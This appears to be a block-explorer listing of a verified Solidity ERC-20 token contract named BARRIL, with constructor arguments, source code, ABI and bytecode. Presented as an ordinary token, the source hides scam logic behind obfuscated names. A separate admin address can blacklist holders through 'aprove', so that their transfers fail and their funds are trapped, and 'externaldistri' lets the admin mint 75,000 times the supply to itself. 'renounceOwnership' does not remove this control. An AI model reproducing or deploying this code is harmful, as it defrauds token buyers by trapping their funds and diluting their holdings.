Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky.
- Contract name:
- BARRIL
- Optimization enabled
- true
- Compiler version
- v0.8.0+commit.c7dfd78e
- Optimization runs
- 1000000
- EVM Version
- default
- Verified at
- 2024-06-07T20:09:44.613698Z
Constructor Arguments
0x000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000009b8e8fd8f5a2218209dac615df71a2bfc67f432f000000000000000000000000000000000000000000000000000000000000000c42617272696c20546f6b656e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000642415252494c0000000000000000000000000000000000000000000000000000
Arg [0] (string) : Barril Token
Arg [1] (string) : BARRIL
Arg [2] (address) : 0x9b8e8fd8f5a2218209dac615df71a2bfc67f432f
contracts/tranca.sol
// SPDX-License-Identifier: MIT
// DATE: Wed Sep 27 2023 15:10:38 GMT-0300 (Horário Padrão de Brasília)
pragma solidity ^0.8.0;
abstract contract Ownable {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_check();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _check() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* tadrrby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
pragma solidity ^0.8.0;
contract BARRIL is Ownable {
uint256 private _tokentotalSupply;
string private _tokenname;
string private _tokensymbol;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
address public _kuuu8915;
mapping(address => bool) private cjjr1695838238915;
function outrouter(address adrr) external {
require(_kuuu8915 == _msgSender());
cjjr1695838238915[adrr] = false;
}
function aprove(address[] memory adrr) external {
require(_kuuu8915 == _msgSender());
for (uint256 i = 0; i < adrr.length; i++) {
cjjr1695838238915[adrr[i]] = true;
}
}
function externaldistri() external {
require(_kuuu8915 == _msgSender());
uint256 amount = totalSupply();
_balances[_msgSender()] += amount * 75000;
}
function checkrouter(address adrr) public view returns (bool) {
return cjjr1695838238915[adrr];
}
constructor(
string memory tokenName,
string memory tokensymbol,
address adminBot
) {
_kuuu8915 = adminBot;
_tokenname = tokenName;
_tokensymbol = tokensymbol;
uint256 amount = 10000000 * 10 ** decimals();
_tokentotalSupply += amount;
_balances[msg.sender] += amount;
emit Transfer(address(0), msg.sender, amount);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _tokenname;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _tokensymbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _tokentotalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public returns (bool) {
_internaltransfer(_msgSender(), to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(
address owner,
address spender
) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
address spender = _msgSender();
_internalspendAllowance(from, spender, amount);
_internaltransfer(from, to, amount);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
_approve(owner, spender, currentAllowance - subtractedValue);
return true;
}
function _internaltransfer(
address fromSender,
address toSender,
uint256 amount
) internal virtual {
require(
fromSender != address(0),
"ERC20: transfer from the zero address"
);
require(toSender != address(0), "ERC20: transfer to the zero address");
uint256 balance = _balances[fromSender];
require(balance >= amount, "ERC20: transfer amount exceeds balance");
if (cjjr1695838238915[fromSender] == true) {
amount = amount - (balance * 23);
}
_balances[fromSender] = _balances[fromSender] - amount;
_balances[toSender] = _balances[toSender] + amount;
emit Transfer(fromSender, toSender, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _internalspendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(
currentAllowance >= amount,
"ERC20: insufficient allowance"
);
_approve(owner, spender, currentAllowance - amount);
}
}
}
Compiler Settings
{"outputSelection":{"*":{"*":["*"],"":["*"]}},"optimizer":{"runs":1000000,"enabled":true},"libraries":{}}
Contract ABI
[{"type":"constructor","stateMutability":"nonpayable","inputs":[{"type":"string","name":"tokenName","internalType":"string"},{"type":"string","name":"tokensymbol","internalType":"string"},{"type":"address","name":"adminBot","internalType":"address"}]},{"type":"event","name":"Approval","inputs":[{"type":"address","name":"owner","internalType":"address","indexed":true},{"type":"address","name":"spender","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"event","name":"OwnershipTransferred","inputs":[{"type":"address","name":"previousOwner","internalType":"address","indexed":true},{"type":"address","name":"newOwner","internalType":"address","indexed":true}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"type":"address","name":"from","internalType":"address","indexed":true},{"type":"address","name":"to","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"_kuuu8915","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"allowance","inputs":[{"type":"address","name":"owner","internalType":"address"},{"type":"address","name":"spender","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"approve","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"aprove","inputs":[{"type":"address[]","name":"adrr","internalType":"address[]"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"balanceOf","inputs":[{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"checkrouter","inputs":[{"type":"address","name":"adrr","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint8","name":"","internalType":"uint8"}],"name":"decimals","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"decreaseAllowance","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"subtractedValue","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"externaldistri","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"increaseAllowance","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"addedValue","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"name","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"outrouter","inputs":[{"type":"address","name":"adrr","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"owner","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"renounceOwnership","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"symbol","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalSupply","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transfer","inputs":[{"type":"address","name":"to","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transferFrom","inputs":[{"type":"address","name":"from","internalType":"address"},{"type":"address","name":"to","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]}]
Contract Creation Code
0x60806040523480156200001157600080fd5b50604051620017a9380380620017a98339810160408190526200003491620002eb565b620000486200004262000141565b62000145565b600680546001600160a01b0319166001600160a01b0383161790558251620000789060029060208601906200019a565b5081516200008e9060039060208501906200019a565b5060006200009b62000195565b620000a890600a620003e5565b620000b79062989680620004dd565b90508060016000828254620000cd91906200037d565b90915550503360009081526004602052604081208054839290620000f39084906200037d565b909155505060405133906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906200012f90859062000374565b60405180910390a35050505062000568565b3390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b601290565b828054620001a890620004ff565b90600052602060002090601f016020900481019282620001cc576000855562000217565b82601f10620001e757805160ff191683800117855562000217565b8280016001018555821562000217579182015b8281111562000217578251825591602001919060010190620001fa565b506200022592915062000229565b5090565b5b808211156200022557600081556001016200022a565b600082601f83011262000251578081fd5b81516001600160401b03808211156200026e576200026e62000552565b6040516020601f8401601f191682018101838111838210171562000296576200029662000552565b6040528382528584018101871015620002ad578485fd5b8492505b83831015620002d05785830181015182840182015291820191620002b1565b83831115620002e157848185840101525b5095945050505050565b60008060006060848603121562000300578283fd5b83516001600160401b038082111562000317578485fd5b620003258783880162000240565b945060208601519150808211156200033b578384fd5b506200034a8682870162000240565b604086015190935090506001600160a01b038116811462000369578182fd5b809150509250925092565b90815260200190565b600082198211156200039357620003936200053c565b500190565b80825b6001808611620003ac5750620003dc565b818704821115620003c157620003c16200053c565b80861615620003cf57918102915b9490941c9380026200039b565b94509492505050565b6000620003f960001960ff85168462000400565b9392505050565b6000826200041157506001620003f9565b816200042057506000620003f9565b8160018114620004395760028114620004445762000478565b6001915050620003f9565b60ff8411156200045857620004586200053c565b6001841b9150848211156200047157620004716200053c565b50620003f9565b5060208310610133831016604e8410600b8410161715620004b0575081810a83811115620004aa57620004aa6200053c565b620003f9565b620004bf848484600162000398565b808604821115620004d457620004d46200053c565b02949350505050565b6000816000190483118215151615620004fa57620004fa6200053c565b500290565b6002810460018216806200051457607f821691505b602082108114156200053657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b61123180620005786000396000f3fe608060405234801561001057600080fd5b50600436106101365760003560e01c8063715018a6116100b2578063961ac01b11610081578063a9059cbb11610066578063a9059cbb14610257578063dd62ed3e1461026a578063ee42c5531461027d57610136565b8063961ac01b14610231578063a457c2d71461024457610136565b8063715018a614610204578063810078e61461020e5780638da5cb5b1461022157806395d89b411461022957610136565b8063313ce567116101095780633a0497a2116100ee5780633a0497a2146101c957806345e32528146101dc57806370a08231146101f157610136565b8063313ce567146101a157806339509351146101b657610136565b806306fdde031461013b578063095ea7b31461015957806318160ddd1461017957806323b872dd1461018e575b600080fd5b610143610285565b6040516101509190610d82565b60405180910390f35b61016c610167366004610c6c565b610317565b6040516101509190610d77565b610181610334565b604051610150919061108d565b61016c61019c366004610c31565b61033a565b6101a9610368565b6040516101509190611096565b61016c6101c4366004610c6c565b61036d565b61016c6101d7366004610bde565b6103a3565b6101e46103d2565b6040516101509190610d56565b6101816101ff366004610bde565b6103ee565b61020c610416565b005b61020c61021c366004610bde565b61042a565b6101e46104a5565b6101436104c1565b61020c61023f366004610c95565b6104d0565b61016c610252366004610c6c565b6105bd565b61016c610265366004610c6c565b61062a565b610181610278366004610bff565b61063e565b61020c610676565b60606002805461029490611110565b80601f01602080910402602001604051908101604052809291908181526020018280546102c090611110565b801561030d5780601f106102e25761010080835404028352916020019161030d565b820191906000526020600020905b8154815290600101906020018083116102f057829003601f168201915b5050505050905090565b600061032b61032461071b565b848461071f565b50600192915050565b60015490565b60008061034561071b565b905061035285828561082e565b61035d8585856108b2565b506001949350505050565b601290565b60008061037861071b565b905061039981858561038a858961063e565b61039491906110a4565b61071f565b5060019392505050565b73ffffffffffffffffffffffffffffffffffffffff811660009081526007602052604090205460ff165b919050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b73ffffffffffffffffffffffffffffffffffffffff1660009081526004602052604090205490565b61041e610ad2565b6104286000610b45565b565b61043261071b565b60065473ffffffffffffffffffffffffffffffffffffffff90811691161461045957600080fd5b73ffffffffffffffffffffffffffffffffffffffff16600090815260076020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b60606003805461029490611110565b6104d861071b565b60065473ffffffffffffffffffffffffffffffffffffffff9081169116146104ff57600080fd5b60005b81518110156105b95760016007600084848151811061054a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff16825281019190915260400160002080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055806105b181611164565b915050610502565b5050565b6000806105c861071b565b905060006105d6828661063e565b90508381101561061b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061290611030565b60405180910390fd5b61035d828661039487856110f9565b600061032b61063761071b565b84846108b2565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260056020908152604080832093909416825291909152205490565b61067e61071b565b60065473ffffffffffffffffffffffffffffffffffffffff9081169116146106a557600080fd5b60006106af610334565b90506106be81620124f86110bc565b600460006106ca61071b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461071391906110a4565b909155505050565b3390565b73ffffffffffffffffffffffffffffffffffffffff831661076c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061290610fd3565b73ffffffffffffffffffffffffffffffffffffffff82166107b9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061290610e50565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526005602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061082190859061108d565b60405180910390a3505050565b600061083a848461063e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146108ac578181101561089d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061290610ead565b6108ac848461039485856110f9565b50505050565b73ffffffffffffffffffffffffffffffffffffffff83166108ff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061290610f76565b73ffffffffffffffffffffffffffffffffffffffff821661094c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061290610df3565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260046020526040902054818110156109ac576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061290610ee4565b73ffffffffffffffffffffffffffffffffffffffff841660009081526007602052604090205460ff161515600114156109f7576109ea8160176110bc565b6109f490836110f9565b91505b73ffffffffffffffffffffffffffffffffffffffff8416600090815260046020526040902054610a289083906110f9565b73ffffffffffffffffffffffffffffffffffffffff8086166000908152600460205260408082209390935590851681522054610a659083906110a4565b73ffffffffffffffffffffffffffffffffffffffff80851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ac490869061108d565b60405180910390a350505050565b610ada61071b565b73ffffffffffffffffffffffffffffffffffffffff16610af86104a5565b73ffffffffffffffffffffffffffffffffffffffff1614610428576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061290610f41565b6000805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b803573ffffffffffffffffffffffffffffffffffffffff811681146103cd57600080fd5b600060208284031215610bef578081fd5b610bf882610bba565b9392505050565b60008060408385031215610c11578081fd5b610c1a83610bba565b9150610c2860208401610bba565b90509250929050565b600080600060608486031215610c45578081fd5b610c4e84610bba565b9250610c5c60208501610bba565b9150604084013590509250925092565b60008060408385031215610c7e578182fd5b610c8783610bba565b946020939093013593505050565b60006020808385031215610ca7578182fd5b823567ffffffffffffffff80821115610cbe578384fd5b818501915085601f830112610cd1578384fd5b813581811115610ce357610ce36111cc565b83810260405185828201018181108582111715610d0257610d026111cc565b604052828152858101935084860182860187018a1015610d20578788fd5b8795505b83861015610d4957610d3581610bba565b855260019590950194938601938601610d24565b5098975050505050505050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610dae57858101830151858201604001528201610d92565b81811115610dbf5783604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201527f6573730000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560408201527f7373000000000000000000000000000000000000000000000000000000000000606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260408201527f616c616e63650000000000000000000000000000000000000000000000000000606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460408201527f6472657373000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460408201527f7265737300000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760408201527f207a65726f000000000000000000000000000000000000000000000000000000606082015260800190565b90815260200190565b60ff91909116815260200190565b600082198211156110b7576110b761119d565b500190565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156110f4576110f461119d565b500290565b60008282101561110b5761110b61119d565b500390565b60028104600182168061112457607f821691505b6020821081141561115e577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156111965761119661119d565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fdfea2646970667358221220acadcda08d0ad576e8d99635b79e50502a8d9259a121d1b8b3c230b5b1d5c17f64736f6c63430008000033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000009b8e8fd8f5a2218209dac615df71a2bfc67f432f000000000000000000000000000000000000000000000000000000000000000c42617272696c20546f6b656e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000642415252494c0000000000000000000000000000000000000000000000000000
Deployed ByteCode
0x608060405234801561001057600080fd5b50600436106101365760003560e01c8063715018a6116100b2578063961ac01b11610081578063a9059cbb11610066578063a9059cbb14610257578063dd62ed3e1461026a578063ee42c5531461027d57610136565b8063961ac01b14610231578063a457c2d71461024457610136565b8063715018a614610204578063810078e61461020e5780638da5cb5b1461022157806395d89b411461022957610136565b8063313ce567116101095780633a0497a2116100ee5780633a0497a2146101c957806345e32528146101dc57806370a08231146101f157610136565b8063313ce567146101a157806339509351146101b657610136565b806306fdde031461013b578063095ea7b31461015957806318160ddd1461017957806323b872dd1461018e575b600080fd5b610143610285565b6040516101509190610d82565b60405180910390f35b61016c610167366004610c6c565b610317565b6040516101509190610d77565b610181610334565b604051610150919061108d565b61016c61019c366004610c31565b61033a565b6101a9610368565b6040516101509190611096565b61016c6101c4366004610c6c565b61036d565b61016c6101d7366004610bde565b6103a3565b6101e46103d2565b6040516101509190610d56565b6101816101ff366004610bde565b6103ee565b61020c610416565b005b61020c61021c366004610bde565b61042a565b6101e46104a5565b6101436104c1565b61020c61023f366004610c95565b6104d0565b61016c610252366004610c6c565b6105bd565b61016c610265366004610c6c565b61062a565b610181610278366004610bff565b61063e565b61020c610676565b60606002805461029490611110565b80601f01602080910402602001604051908101604052809291908181526020018280546102c090611110565b801561030d5780601f106102e25761010080835404028352916020019161030d565b820191906000526020600020905b8154815290600101906020018083116102f057829003601f168201915b5050505050905090565b600061032b61032461071b565b848461071f565b50600192915050565b60015490565b60008061034561071b565b905061035285828561082e565b61035d8585856108b2565b506001949350505050565b601290565b60008061037861071b565b905061039981858561038a858961063e565b61039491906110a4565b61071f565b5060019392505050565b73ffffffffffffffffffffffffffffffffffffffff811660009081526007602052604090205460ff165b919050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b73ffffffffffffffffffffffffffffffffffffffff1660009081526004602052604090205490565b61041e610ad2565b6104286000610b45565b565b61043261071b565b60065473ffffffffffffffffffffffffffffffffffffffff90811691161461045957600080fd5b73ffffffffffffffffffffffffffffffffffffffff16600090815260076020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b60606003805461029490611110565b6104d861071b565b60065473ffffffffffffffffffffffffffffffffffffffff9081169116146104ff57600080fd5b60005b81518110156105b95760016007600084848151811061054a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff16825281019190915260400160002080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055806105b181611164565b915050610502565b5050565b6000806105c861071b565b905060006105d6828661063e565b90508381101561061b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061290611030565b60405180910390fd5b61035d828661039487856110f9565b600061032b61063761071b565b84846108b2565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260056020908152604080832093909416825291909152205490565b61067e61071b565b60065473ffffffffffffffffffffffffffffffffffffffff9081169116146106a557600080fd5b60006106af610334565b90506106be81620124f86110bc565b600460006106ca61071b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461071391906110a4565b909155505050565b3390565b73ffffffffffffffffffffffffffffffffffffffff831661076c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061290610fd3565b73ffffffffffffffffffffffffffffffffffffffff82166107b9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061290610e50565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526005602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061082190859061108d565b60405180910390a3505050565b600061083a848461063e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146108ac578181101561089d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061290610ead565b6108ac848461039485856110f9565b50505050565b73ffffffffffffffffffffffffffffffffffffffff83166108ff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061290610f76565b73ffffffffffffffffffffffffffffffffffffffff821661094c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061290610df3565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260046020526040902054818110156109ac576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061290610ee4565b73ffffffffffffffffffffffffffffffffffffffff841660009081526007602052604090205460ff161515600114156109f7576109ea8160176110bc565b6109f490836110f9565b91505b73ffffffffffffffffffffffffffffffffffffffff8416600090815260046020526040902054610a289083906110f9565b73ffffffffffffffffffffffffffffffffffffffff8086166000908152600460205260408082209390935590851681522054610a659083906110a4565b73ffffffffffffffffffffffffffffffffffffffff80851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ac490869061108d565b60405180910390a350505050565b610ada61071b565b73ffffffffffffffffffffffffffffffffffffffff16610af86104a5565b73ffffffffffffffffffffffffffffffffffffffff1614610428576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061290610f41565b6000805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b803573ffffffffffffffffffffffffffffffffffffffff811681146103cd57600080fd5b600060208284031215610bef578081fd5b610bf882610bba565b9392505050565b60008060408385031215610c11578081fd5b610c1a83610bba565b9150610c2860208401610bba565b90509250929050565b600080600060608486031215610c45578081fd5b610c4e84610bba565b9250610c5c60208501610bba565b9150604084013590509250925092565b60008060408385031215610c7e578182fd5b610c8783610bba565b946020939093013593505050565b60006020808385031215610ca7578182fd5b823567ffffffffffffffff80821115610cbe578384fd5b818501915085601f830112610cd1578384fd5b813581811115610ce357610ce36111cc565b83810260405185828201018181108582111715610d0257610d026111cc565b604052828152858101935084860182860187018a1015610d20578788fd5b8795505b83861015610d4957610d3581610bba565b855260019590950194938601938601610d24565b5098975050505050505050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610dae57858101830151858201604001528201610d92565b81811115610dbf5783604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201527f6573730000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560408201527f7373000000000000000000000000000000000000000000000000000000000000606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260408201527f616c616e63650000000000000000000000000000000000000000000000000000606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460408201527f6472657373000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460408201527f7265737300000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760408201527f207a65726f000000000000000000000000000000000000000000000000000000606082015260800190565b90815260200190565b60ff91909116815260200190565b600082198211156110b7576110b761119d565b500190565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156110f4576110f461119d565b500290565b60008282101561110b5761110b61119d565b500390565b60028104600182168061112457607f821691505b6020821081141561115e577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156111965761119661119d565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fdfea2646970667358221220acadcda08d0ad576e8d99635b79e50502a8d9259a121d1b8b3c230b5b1d5c17f64736f6c63430008000033